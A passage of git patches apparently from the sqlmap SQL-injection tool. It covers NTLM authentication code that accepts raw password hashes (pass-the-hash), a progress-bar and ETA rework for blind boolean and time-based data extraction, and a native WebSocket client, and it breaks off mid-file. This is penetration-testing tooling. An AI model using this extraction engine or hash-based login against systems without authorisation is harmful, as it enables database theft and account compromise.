+NTLM_TYPE2_FLAGS = (NTLM_NegotiateUnicode | NTLM_RequestTarget | NTLM_NegotiateNTLM | + NTLM_NegotiateAlwaysSign | NTLM_NegotiateExtendedSecurity | NTLM_NegotiateTargetInfo | + NTLM_NegotiateVersion | NTLM_Negotiate128 | NTLM_Negotiate56) + +_HASH_RE = re.compile(r"\A[0-9a-fA-F]{32}:[0-9a-fA-F]{32}\Z") + +# ---------- password hashes / challenge responses ---------- +def create_LM_hashed_password_v1(password): + if _HASH_RE.match(password): + return binascii.unhexlify(password.split(':')[0]) + pw = (getBytes(password.upper()) + b"\0" * 14)[:14] + return _des(pw[0:7], b"KGS!@#$%") + _des(pw[7:14], b"KGS!@#$%") + +def create_NT_hashed_password_v1(password, user=None, domain=None): + if _HASH_RE.match(password): + return binascii.unhexlify(password.split(':')[1]) + return _md4(password.encode("utf-16-le")) + +def calc_resp(password_hash, server_challenge): + ph = password_hash + b"\0" * (21 - len(password_hash)) + return _des(ph[0:7], server_challenge) + _des(ph[7:14], server_challenge) + _des(ph[14:21], server_challenge) + +def ntlm2sr_calc_resp(nt_hash, server_challenge, client_challenge): + import hashlib + lm_response = client_challenge + b"\0" * 16 + session = hashlib.md5(server_challenge + client_challenge).digest() + nt_response = calc_resp(nt_hash, session[0:8]) + return (nt_response, lm_response) + +# ---------- messages ---------- +def create_NTLM_NEGOTIATE_MESSAGE(user, type1_flags=NTLM_TYPE1_FLAGS): + workstation = getBytes(socket.gethostname().upper()) + domain = getBytes(user.split('\\', 1)[0].upper()) + body = 40 + msg = b"NTLMSSP\0" + struct.pack(" Date: Thu, 9 Jul 2026 13:25:50 +0200 Subject: [PATCH 713/853] Fixing --eta --- lib/core/settings.py | 5 +- lib/request/inject.py | 58 +++++++++++++++- lib/utils/progress.py | 43 ++++++++++-- plugins/generic/databases.py | 15 ++-- plugins/generic/entries.py | 8 ++- tests/test_progress.py | 131 +++++++++++++++++++++++++++++++++++ tests/test_techniques.py | 42 +++++++++++ 7 files changed, 284 insertions(+), 18 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 95cd3266770..04460590cbe 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.55" +VERSION = "1.10.7.56" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -249,6 +249,9 @@ # Maximum number of techniques used in inject.py/getValue() per one value MAX_TECHNIQUES_PER_VALUE = 2 +# Fraction of the currently displayed progress-bar ETA kept when a fresh estimate arrives (eases the on-screen countdown toward the new value instead of snapping); 0 disables smoothing, higher is smoother but laggier +ETA_DISPLAY_SMOOTHING = 0.5 + # In case of missing piece of partial union dump, buffered array must be flushed after certain size MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 diff --git a/lib/request/inject.py b/lib/request/inject.py index 731a47b0cbc..8948a07cc6d 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -8,6 +8,7 @@ from __future__ import print_function import re +import threading import time from lib.core.agent import agent @@ -16,6 +17,7 @@ from lib.core.common import dataToStdout from lib.core.common import unArrayizeValue from lib.core.datatype import AttribDict +from lib.utils.progress import ProgressBar from lib.utils.safe2bin import safecharencode from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds @@ -58,12 +60,14 @@ from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS +from lib.core.settings import IS_TTY from lib.core.settings import INFERENCE_MARKER from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads +from lib.core.threads import setDaemon from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.direct import direct @@ -405,6 +409,25 @@ def _verifyInferredValue(expression, value): except Exception: return True +def valueParallelEligible(): + """ + Whether blind enumeration/dumping should take the value-parallel path (one whole value per worker) + rather than the classic char loop. It is chosen for concurrency ('--threads') and, independently, to + render a single whole-job progress bar/ETA ('--eta'). A concurrency-safe channel - boolean or the + HTTP/2 timeless oracle - qualifies with either. Classic time-based qualifies only single-threaded under + '--eta': concurrent SLEEP measurements interfere, so it must stay sequential (where it is safe, and + still gets the whole-job ETA that matters most for the slowest channel). Callers add their own extra + guards (e.g. '--dns-domain', per-column comments). + """ + + concurrencySafe = isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.get("timeless") is not None + + if conf.threads > 1: + return concurrencySafe + if conf.eta: + return concurrencySafe or isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) + return False + def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=None, dump=False): """ Value-parallel blind retrieval. @@ -446,6 +469,13 @@ def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=Non results = [None] * len(indices) cursor = iter(xrange(len(indices))) + # With '--eta' show a single value-level bar (values completed / total) instead of the per-value + # stream: it is monotonic and carries a meaningful ETA across the whole set, and - unlike the + # per-char bar drawn inside bisection() - it survives the worker's disableStdOut (drawn forced, + # below), so '--eta' is honoured under '--threads' too. Skipped for trivial single-value sets. + etaProgress = ProgressBar(maxValue=len(indices)) if (conf.eta and len(indices) > 1) else None + completed = [0] + def inferenceThread(): threadData = getCurrentThreadData() # Each per-value bisection streams its characters to stdout and mirrors them into @@ -489,13 +519,36 @@ def inferenceThread(): with kb.locks.value: results[slot] = value + if etaProgress is not None: + with kb.locks.io: + completed[0] += 1 + threadData.disableStdOut = False # let the value-level bar through (per-char streaming stays muted) + try: + etaProgress.progress(completed[0]) + finally: + threadData.disableStdOut = True + # Stream each retrieved value as it completes (they arrive out of order under threads, exactly # like the error/union dumps), so a dump shows its data live rather than a silent counter. - if conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value): + elif conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value): with kb.locks.io: rendered = safecharencode(unArrayizeValue(value)) dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), "'%s'" % rendered if dump else rendered), forceOutput=True) + # Keep the '--eta' countdown live between value updates: a value (esp. time-based) can take many + # seconds, so a daemon redraws the bar every second with the ETA decremented by elapsed time (it runs + # on its own thread, so it is not muted by the workers' disableStdOut, and shares kb.locks.io with them). + etaTickerStop = threading.Event() + etaTicker = None + if etaProgress is not None and IS_TTY: + def _etaTicker(): + while not etaTickerStop.wait(1.0): + with kb.locks.io: + etaProgress.tick() + etaTicker = threading.Thread(target=_etaTicker, name="eta-ticker") + setDaemon(etaTicker) + etaTicker.start() + # Save/restore the calling thread's state: with a single thread runThreads runs the worker # INLINE on this thread, so the worker's disableStdOut/shared mutations must not leak out. savedPartRun = kb.partRun @@ -505,6 +558,9 @@ def inferenceThread(): try: runThreads(min(conf.threads or 1, len(indices)) or 1, inferenceThread) finally: + etaTickerStop.set() + if etaTicker is not None: + etaTicker.join(timeout=2) kb.partRun = savedPartRun mainThreadData.disableStdOut = savedStdOut mainThreadData.shared = savedShared diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 1bfb10656d9..97e58a9bb91 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -13,6 +13,8 @@ from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb +from lib.core.settings import ETA_DISPLAY_SMOOTHING +from lib.core.settings import IS_TTY class ProgressBar(object): """ @@ -26,7 +28,9 @@ def __init__(self, minValue=0, maxValue=10, totalWidth=None): self._span = max(self._max - self._min, 0.001) self._width = totalWidth if totalWidth else conf.progressWidth self._amount = 0 - self._start = None + self._start = time.time() # begin timing at construction, so the first completed item already yields an estimate + self._eta = None # last estimated seconds-remaining and when it was computed, so tick() + self._etaAt = None # can keep the countdown live between (possibly slow) item updates self.update() def _convertSeconds(self, value): @@ -73,17 +77,39 @@ def update(self, newAmount=0): def progress(self, newAmount): """ - This method saves item delta time and shows updated progress bar with calculated eta + Redraw the bar with an ETA from the average time per completed item so far, applied to the items + still remaining: (elapsed / done) * (max - newAmount). The remaining-item count is (max - newAmount) + - i.e. at 1/3 it estimates the 2 items left, at 2/3 the 1 left - not just the current item. """ - if self._start is None or newAmount > self._max: - self._start = time.time() - eta = None + now = time.time() + if newAmount > self._max: # counter rollover/reset -> restart timing + self._start = now + self._eta = None + + done = newAmount - self._min + elapsed = now - self._start + target = (elapsed / done) * (self._max - newAmount) if (done > 0 and elapsed > 0) else None + + if target is None: + self._eta = None + elif self._eta is None: + self._eta = target # first estimate: nothing to ease from else: - delta = time.time() - self._start - eta = (self._max - self._min) * (1.0 * delta / newAmount) - delta + current = max(0, self._eta - (now - self._etaAt)) # what is on screen now (already decremented by tick()) + self._eta = ETA_DISPLAY_SMOOTHING * current + (1 - ETA_DISPLAY_SMOOTHING) * target # ease into the fresh estimate + self._etaAt = now self.update(newAmount) + self.draw(self._eta) + + def tick(self): + """ + Redraw the current bar with its ETA decremented by real elapsed time, so the countdown stays + live between updates (e.g. during a long time-based wait) instead of freezing at the last estimate + """ + + eta = None if self._eta is None else max(0, self._eta - (time.time() - self._etaAt)) self.draw(eta) def draw(self, eta=None): @@ -91,6 +117,9 @@ def draw(self, eta=None): This method draws the progress bar if it has changed """ + if not IS_TTY: # a progress bar is a terminal animation; suppress it when piped/redirected (as done for other '\r' output) + return + dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??")))) if self._amount >= self._max: dataToStdout("\r%s\r" % (" " * self._width)) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index c439863b9c0..70f210b153d 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -403,12 +403,13 @@ def getTables(self, bruteForce=None): # Value-parallel, prediction-assisted name enumeration for the DBMSes using the # generic ", " blind template. Retrieves whole names concurrently (one per - # worker, each decoded sequentially so wordlist prediction applies). Used only with - # '--threads' (like getColumns below); single-thread stays on the classic getValue loop, - # which still gets predictive inference via getPartRun. The special templates stay serial. + # worker, each decoded sequentially so wordlist prediction applies). Used with '--threads' + # and under '--eta' (one whole-job bar/ETA) per valueParallelEligible(); plain single-thread + # stays on the classic getValue loop, which still gets predictive inference via getPartRun. + # The special templates stay serial. genericTemplate = Backend.getIdentifiedDbms() not in (DBMS.SYBASE, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.SQLITE, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.SPANNER) - if genericTemplate and conf.threads > 1 and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + if genericTemplate and inject.valueParallelEligible(): for table in (inject._threadedInferenceValues(lambda index: _query % (unsafeSQLIdentificatorNaming(db), index), indexRange, context="Tables") or []): if not isNoneValue(table): kb.hintValue = table @@ -899,9 +900,11 @@ def columnNameQuery(index): # Value-parallel column-NAME enumeration: the same axis/mechanism as getTables (one name per # worker, decoded sequentially - no length probe, predictive inference applies, names stream - # live). Serial fallback for single-thread and when also fetching per-column comments. + # live, and under '--eta' a single whole-job bar/ETA is drawn). Eligibility is shared via + # valueParallelEligible(); serial fallback only when also fetching per-column comments (those + # need an extra per-column query). columnNames = None - if conf.threads > 1 and not conf.getComments and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + if not conf.getComments and inject.valueParallelEligible(): columnNames = inject._threadedInferenceValues(columnNameQuery, indexList, context="Columns") for position, index in enumerate(indexList): diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 568a0eb531f..4e8ef5a7d96 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -444,9 +444,11 @@ def cellQuery(column, index): # value's characters across threads) and the per-column Huffman model + low-cardinality # guessing engage under concurrency. Used for the boolean channel with '--threads', and # for the HTTP/2 timeless oracle (its per-thread connections make concurrency safe and - # deterministic - unlike classic time-based, whose char-parallel loop interleaves its - # per-thread output). Single-thread and classic time-based keep the char-parallel loop. - if conf.threads > 1 and not conf.dnsDomain and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.get("timeless") is not None): + # deterministic). Also used under '--eta' - including single-threaded time-based, the + # slowest channel - to drive one whole-job progress bar/ETA (how long the dump takes) + # instead of a per-cell counter. Eligibility (channel x threads/eta) is valueParallelEligible(); + # '--dns-domain' keeps the classic loop (its OOB fast path bypasses bisection). + if not conf.dnsDomain and inject.valueParallelEligible(): # One value-parallel pass over every (non-empty) cell, so there is a single # thread pool and values stream live as they complete - out of order, exactly # like the error/union dumps - instead of a silent progress counter. diff --git a/tests/test_progress.py b/tests/test_progress.py index dbc007f0162..5690763d1f5 100644 --- a/tests/test_progress.py +++ b/tests/test_progress.py @@ -56,7 +56,9 @@ def test_convert_seconds(self): def test_progress_draws_eta_after_second_call(self): captured = [] real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True # draw() only animates on a terminal try: pb = ProgressBar(0, 10, 78) pb.progress(0) # first call only seeds the timer (eta None) @@ -64,6 +66,7 @@ def test_progress_draws_eta_after_second_call(self): pb.progress(5) # second call computes and draws a real ETA finally: progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty self.assertTrue(captured, msg="progress() never wrote to stdout") last = captured[-1] @@ -73,6 +76,134 @@ def test_progress_draws_eta_after_second_call(self): self.assertTrue(re.search(r"\(ETA \d{2}:\d{2}\)", last), msg="ETA token missing an mm:ss timer: %r" % last) + def test_eta_available_from_first_completed_item(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 5, 78) + pb._start = pb._lastTime = time.time() - 2.0 # one item took ~2s -> estimate must appear now, at 1/5 + pb.progress(1) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + last = captured[-1] + self.assertNotIn("??:??", last, msg="no ETA at the first item: %r" % last) + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", last) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(7 <= secs <= 9, msg="ETA not ~8s (2s/item x 4 remaining): %r" % last) # not the 2x-optimistic ~4s + + def test_eta_reflects_remaining_item_count(self): + # at a constant 10s/item pace: 1/3 must estimate the 2 items left (~20s), 2/3 the 1 left (~10s) - + # i.e. (max - done) items, not just the current one. Fresh bars so each is a first (unsmoothed) estimate. + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + + def drawnEta(): + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + self.assertTrue(m, msg="no ETA drawn: %r" % captured[-1]) + return int(m.group(1)) * 60 + int(m.group(2)) + + try: + a = ProgressBar(0, 3, 78) + a._start = time.time() - 10.0 # 1 done in 10s -> 10s/item, 2 remaining -> ~20s + a.progress(1) + eta1 = drawnEta() + + b = ProgressBar(0, 3, 78) + b._start = time.time() - 20.0 # 2 done in 20s -> 10s/item, 1 remaining -> ~10s + b.progress(2) + eta2 = drawnEta() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertTrue(18 <= eta1 <= 22, msg="1/3 should estimate 2 remaining (~20s): %ds" % eta1) + self.assertTrue(8 <= eta2 <= 12, msg="2/3 should estimate 1 remaining (~10s): %ds" % eta2) + + def test_new_estimate_is_eased_not_snapped(self): + # when a fresh estimate is far from the value currently on screen, the drawn ETA must land + # between the two (smoothed), not snap straight to the new target + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb._eta = 8.0 # currently showing ~8s... + pb._etaAt = time.time() + pb._start = time.time() - 2.0 # ...but the fresh target is (2/1)*(10-1) = 18s + pb.progress(1) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(10 <= secs <= 16, msg="ETA snapped instead of easing between 8 and 18: %ds" % secs) + + def test_tick_counts_down_from_stored_eta(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb.update(5) + pb._eta = 100 # a 100s estimate... + pb._etaAt = time.time() - 30 # ...taken 30s ago -> tick() must show ~70s + pb.tick() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + self.assertTrue(m, msg="no mm:ss ETA drawn: %r" % captured[-1]) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(66 <= secs <= 71, msg="ETA not decremented to ~70s: %r" % captured[-1]) + + def test_tick_clamps_at_zero_when_overdue(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb.update(5) + pb._eta = 5 + pb._etaAt = time.time() - 60 # long overdue -> must clamp to 00:00, never negative + pb.tick() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertIn("(ETA 00:00)", captured[-1], msg=captured[-1]) + + def test_no_draw_when_not_tty(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = False # piped/redirected: no animated bar should reach the stream + try: + pb = ProgressBar(0, 10, 78) + for i in range(1, 11): + pb.progress(i) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertEqual(captured, [], msg="progress bar leaked to a non-TTY stream: %r" % captured) + if __name__ == "__main__": unittest.main() diff --git a/tests/test_techniques.py b/tests/test_techniques.py index 6ab50de7eb5..239bc33f855 100644 --- a/tests/test_techniques.py +++ b/tests/test_techniques.py @@ -48,6 +48,7 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect from lib.request.connect import Connect as Request +from lib.request import inject from lib.utils.hashdb import HashDB import lib.techniques.union.use as uu @@ -1516,6 +1517,47 @@ def test_non_string_char_ignored(self): self.assertEqual(kb.uChar, "SENTINEL") +class TestValueParallelEligibility(unittest.TestCase): + """ + inject.valueParallelEligible() picks the value-parallel path (job-level '--eta' bar / concurrency). + Safety invariant under test: classic time-based must never run concurrently (interfering SLEEP + measurements), so it qualifies only single-threaded under '--eta'; a concurrency-safe channel + (boolean or the timeless oracle) may run under either '--threads' or '--eta'. + """ + + def setUp(self): + self._avail = set() + self._realAvail = inject.isTechniqueAvailable + inject.isTechniqueAvailable = lambda t: t in self._avail + self._saved = (conf.threads, conf.eta, kb.get("timeless")) + + def tearDown(self): + inject.isTechniqueAvailable = self._realAvail + conf.threads, conf.eta, kb.timeless = self._saved + + def _elig(self, threads, eta, techniques, timeless=None): + conf.threads, conf.eta, kb.timeless = threads, eta, timeless + self._avail = set(techniques) + return inject.valueParallelEligible() + + def test_single_thread_eta_time_based_qualifies(self): + self.assertTrue(self._elig(1, True, {PAYLOAD.TECHNIQUE.TIME})) + + def test_multi_thread_time_based_never_parallel(self): + self.assertFalse(self._elig(8, True, {PAYLOAD.TECHNIQUE.TIME})) + self.assertFalse(self._elig(8, False, {PAYLOAD.TECHNIQUE.TIME})) + + def test_boolean_qualifies_under_threads_or_eta(self): + self.assertTrue(self._elig(8, False, {PAYLOAD.TECHNIQUE.BOOLEAN})) + self.assertTrue(self._elig(1, True, {PAYLOAD.TECHNIQUE.BOOLEAN})) + + def test_plain_single_thread_no_eta_stays_classic(self): + self.assertFalse(self._elig(1, False, {PAYLOAD.TECHNIQUE.BOOLEAN})) + + def test_timeless_is_concurrency_safe(self): + self.assertTrue(self._elig(8, True, {PAYLOAD.TECHNIQUE.TIME}, timeless=object())) + + if __name__ == "__main__": unittest.main(verbosity=2) From fc1ae6950e48fc370ecaa4bde8d23a515987fbd0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 13:56:40 +0200 Subject: [PATCH 714/853] Adding native websocket support --- lib/core/option.py | 9 -- lib/core/settings.py | 2 +- lib/request/connect.py | 8 +- lib/request/websocket.py | 230 +++++++++++++++++++++++++++++++++++++++ lib/utils/deps.py | 11 -- tests/test_websocket.py | 138 +++++++++++++++++++++++ 6 files changed, 371 insertions(+), 27 deletions(-) create mode 100644 lib/request/websocket.py create mode 100644 tests/test_websocket.py diff --git a/lib/core/option.py b/lib/core/option.py index bb915197d21..ad80c4a5279 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2698,15 +2698,6 @@ def putheader(self, header, *values): _http_client.HTTPConnection._http_vsn = 10 _http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0' - if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): - try: - from websocket import ABNF - ABNF # require websocket-client, not any 'websocket' module - except ImportError: - errMsg = "sqlmap requires third-party module 'websocket-client' " - errMsg += "in order to use WebSocket functionality" - raise SqlmapMissingDependence(errMsg) - def _checkTor(): if not conf.checkTor: return diff --git a/lib/core/settings.py b/lib/core/settings.py index 04460590cbe..1b227713bab 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.56" +VERSION = "1.10.7.57" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 70d5091d062..77f9f25a74f 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -19,12 +19,8 @@ import time import traceback -try: - import websocket - from websocket import WebSocketException -except ImportError: - class WebSocketException(Exception): - pass +from lib.request import websocket +from lib.request.websocket import WebSocketException from lib.core.agent import agent from lib.core.common import asciifyUrl diff --git a/lib/request/websocket.py b/lib/request/websocket.py new file mode 100644 index 00000000000..1d8f56aee4f --- /dev/null +++ b/lib/request/websocket.py @@ -0,0 +1,230 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free WebSocket client (RFC 6455), replacing the 'websocket-client' third-party +# library. Covers exactly what sqlmap needs: the client handshake, masked text framing, wss (TLS) and +# the recv/timeout surface. It also removes the long-standing ambiguity with the unrelated 'websocket' +# PyPI package (both expose a top-level 'websocket' module). Pure standard library, Python 2.7 / 3.x. + +import base64 +import hashlib +import os +import socket +import ssl +import struct + +from lib.core.convert import getBytes +from lib.core.convert import getText +from thirdparty.six.moves import urllib as _urllib + +_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" # RFC 6455 magic value for the accept key + +OPCODE_CONTINUATION = 0x0 +OPCODE_TEXT = 0x1 +OPCODE_BINARY = 0x2 +OPCODE_CLOSE = 0x8 +OPCODE_PING = 0x9 +OPCODE_PONG = 0xA + +class WebSocketException(Exception): + pass + +class WebSocketTimeoutException(WebSocketException): + pass + +class WebSocketConnectionClosedException(WebSocketException): + pass + +class WebSocket(object): + """ + Minimal RFC 6455 client exposing the websocket-client subset used by sqlmap: settimeout(), connect(), + send(), recv(), close(), the handshake .status and getheaders() + """ + + def __init__(self): + self.sock = None + self.status = None + self._headers = {} + self._timeout = None + self._buffer = b"" + self._closed = False + + def settimeout(self, timeout): + self._timeout = timeout + if self.sock is not None: + self.sock.settimeout(timeout) + + def connect(self, url, header=None, cookie=None): + parts = _urllib.parse.urlsplit(url) + secure = parts.scheme == "wss" + host = parts.hostname + port = parts.port or (443 if secure else 80) + resource = parts.path or "/" + if parts.query: + resource += "?%s" % parts.query + + self.sock = socket.create_connection((host, port), timeout=self._timeout) + if secure: + self.sock = ssl._create_unverified_context().wrap_socket(self.sock, server_hostname=host) + self.sock.settimeout(self._timeout) + + hostport = "[%s]" % host if ":" in host else host # bracket IPv6 literals + if port not in (80, 443): + hostport = "%s:%d" % (hostport, port) + + key = getText(base64.b64encode(os.urandom(16))) + lines = ["GET %s HTTP/1.1" % resource, + "Host: %s" % hostport, + "Upgrade: websocket", + "Connection: Upgrade", + "Sec-WebSocket-Key: %s" % key, + "Sec-WebSocket-Version: 13"] + for _ in (header or ()): + lines.append(_) + if cookie: + lines.append("Cookie: %s" % cookie) + lines.extend(("", "")) + self.sock.sendall(getBytes("\r\n".join(lines))) + + self._readHandshake(key) + + def _readHandshake(self, key): + while b"\r\n\r\n" not in self._buffer: + chunk = self._recvSome() + if not chunk: + raise WebSocketException("incomplete WebSocket handshake response") + self._buffer += chunk + + head, _, self._buffer = self._buffer.partition(b"\r\n\r\n") + lines = getText(head).split("\r\n") + + try: + self.status = int(lines[0].split(" ", 2)[1]) + except (IndexError, ValueError): + raise WebSocketException("malformed WebSocket handshake response") + + for line in lines[1:]: + name, _, value = line.partition(":") + self._headers[name.strip().lower()] = value.strip() + + if self.status != 101: + raise WebSocketException("Handshake status %d" % self.status) # 'Handshake status' is matched in connect.py + + accept = getText(self._headers.get("sec-websocket-accept", "")) + expected = getText(base64.b64encode(hashlib.sha1(getBytes(key + _GUID)).digest())) + if accept != expected: + raise WebSocketException("invalid 'Sec-WebSocket-Accept' in handshake response") + + def getheaders(self): + return dict(self._headers) + + def send(self, payload, opcode=OPCODE_TEXT): + self._sendFrame(getBytes(payload), opcode) + + def _sendFrame(self, data, opcode): + length = len(data) + frame = bytearray() + frame.append(0x80 | opcode) # FIN set, single (unfragmented) frame + + if length < 126: + frame.append(0x80 | length) # client frames must set the mask bit + elif length < 65536: + frame.append(0x80 | 126) + frame += struct.pack("!H", length) + else: + frame.append(0x80 | 127) + frame += struct.pack("!Q", length) + + mask = bytearray(os.urandom(4)) + frame += mask + payload = bytearray(data) + for i in range(length): + payload[i] ^= mask[i % 4] + frame += payload + + try: + self.sock.sendall(bytes(frame)) + except socket.timeout: + raise WebSocketTimeoutException("timed out while sending data") + except ssl.SSLError as ex: + if "timed out" in str(ex).lower(): + raise WebSocketTimeoutException("timed out while sending data") + raise + + def recv(self): + data = bytearray() + while True: + fin, opcode, payload = self._recvFrame() + if opcode == OPCODE_CLOSE: + self._closed = True + raise WebSocketConnectionClosedException("WebSocket connection closed") + elif opcode == OPCODE_PING: + self._sendFrame(bytes(payload), OPCODE_PONG) + continue + elif opcode == OPCODE_PONG: + continue + + data += payload + if fin: + break + + return getText(bytes(data)) + + def _recvFrame(self): + header = bytearray(self._readStrict(2)) + fin = (header[0] >> 7) & 1 + opcode = header[0] & 0x0F + masked = (header[1] >> 7) & 1 + length = header[1] & 0x7F + + if length == 126: + length = struct.unpack("!H", self._readStrict(2))[0] + elif length == 127: + length = struct.unpack("!Q", self._readStrict(8))[0] + + mask = bytearray(self._readStrict(4)) if masked else None + payload = bytearray(self._readStrict(length)) + if mask is not None: # servers must not mask, but unmask defensively + for i in range(length): + payload[i] ^= mask[i % 4] + + return fin, opcode, payload + + def _readStrict(self, count): + while len(self._buffer) < count: + chunk = self._recvSome() + if not chunk: + raise WebSocketConnectionClosedException("WebSocket connection closed") + self._buffer += chunk + + result, self._buffer = self._buffer[:count], self._buffer[count:] + return result + + def _recvSome(self): + try: + return self.sock.recv(8192) + except socket.timeout: + raise WebSocketTimeoutException("timed out while receiving data") + except ssl.SSLError as ex: + # Python 2 raises ssl.SSLError('The read operation timed out') instead of socket.timeout on a + # TLS read timeout - which is exactly sqlmap's normal "read frames until timeout" path over wss + if "timed out" in str(ex).lower(): + raise WebSocketTimeoutException("timed out while receiving data") + raise + + def close(self): + if self.sock is not None: + try: + if not self._closed: + self._sendFrame(struct.pack("!H", 1000), OPCODE_CLOSE) # normal closure + except (socket.error, WebSocketException): + pass + try: + self.sock.close() + except socket.error: + pass + self.sock = None diff --git a/lib/utils/deps.py b/lib/utils/deps.py index b681ef4ef05..99fcc31e857 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -83,17 +83,6 @@ def checkDependencies(): logger.warning(warnMsg) missing_libraries.add('python-impacket') - try: - __import__("websocket._abnf") - debugMsg = "'websocket-client' library is found" - logger.debug(debugMsg) - except ImportError: - warnMsg = "sqlmap requires 'websocket-client' third-party library " - warnMsg += "if you plan to attack a web application using WebSocket. " - warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'" - logger.warning(warnMsg) - missing_libraries.add('websocket-client') - try: __import__("tkinter") debugMsg = "'tkinter' library is found" diff --git a/tests/test_websocket.py b/tests/test_websocket.py new file mode 100644 index 00000000000..6091229a621 --- /dev/null +++ b/tests/test_websocket.py @@ -0,0 +1,138 @@ +#!/usr/bin/env python + +""" +Copyright 